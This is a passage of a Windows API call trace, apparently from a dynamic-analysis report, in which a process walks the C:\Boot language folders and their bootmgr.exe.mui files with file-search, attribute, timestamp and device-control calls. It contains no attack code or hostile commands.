ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0254.037] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0254.037] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.037] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.136] CreateFileW (lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0254.136] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.136] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x949690 [0254.136] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.136] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.136] NtClose (Handle=0x188) returned 0x0 [0254.136] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.136] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.137] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eae8 [0254.137] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ea60 [0254.137] FindFirstFileExW (in: lpFileName="C:\\Boot\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.137] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.138] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.138] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.138] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.138] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.138] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.138] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.138] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x943e60 [0254.138] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0254.138] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.138] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.138] GetLastError () returned 0x12 [0254.138] FindFirstFileExW (in: lpFileName="C:\\Boot\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.138] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.139] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.139] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.139] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.139] GetLastError () returned 0x12 [0254.139] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.139] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.139] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.139] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.139] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0254.139] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.139] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.139] CreateFileW (lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0254.140] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.140] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x949690 [0254.140] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.140] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.140] NtClose (Handle=0x14c) returned 0x0 [0254.140] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.140] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.140] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eae8 [0254.140] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ea60 [0254.140] FindFirstFileExW (in: lpFileName="C:\\Boot\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.141] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.141] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.141] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.141] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.141] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.141] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.141] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.141] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x943e80 [0254.141] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e840 [0254.141] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.141] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.141] GetLastError () returned 0x12 [0254.141] FindFirstFileExW (in: lpFileName="C:\\Boot\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.141] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.141] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.142] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.142] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.142] GetLastError () returned 0x12 [0254.142] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.142] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.142] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.142] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.142] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0254.142] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.142] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.226] CreateFileW (lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0254.226] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.226] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x949690 [0254.227] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.227] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.227] NtClose (Handle=0x188) returned 0x0 [0254.227] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.227] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.227] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eae8 [0254.227] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ea60 [0254.227] FindFirstFileExW (in: lpFileName="C:\\Boot\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548f40 [0254.227] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.227] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.227] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.227] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.227] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.227] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.227] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e9d8 [0254.227] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x943ea0 [0254.227] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0254.227] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e9d8) returned 1 [0254.227] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.227] GetLastError () returned 0x12 [0254.227] FindFirstFileExW (in: lpFileName="C:\\Boot\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.228] FindClose (in: hFindFile=0x548f40 | out: hFindFile=0x548f40) returned 1 [0254.228] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.228] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0254.228] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0254.228] GetLastError () returned 0x12 [0254.228] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ea60) returned 1 [0254.228] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0254.228] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8eae8) returned 1 [0254.228] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.228] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f77c | out: lpFindFileData=0x118f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0254.228] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.228] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x118f678 | out: lpFileInformation=0x118f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0254.228] CreateFileW (lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0254.229] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0254.229] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x949690 [0254.229] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0254.229] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0254.229] NtClose (Handle=0x14c) returned 0x0 [0254.229] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0254.229] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ee18 [0254.229] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8eae8 [0254.229] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8ea60 [0254.229] FindFirstFileExW (in: lpFileName="C:\\Boot\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0254.229] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, 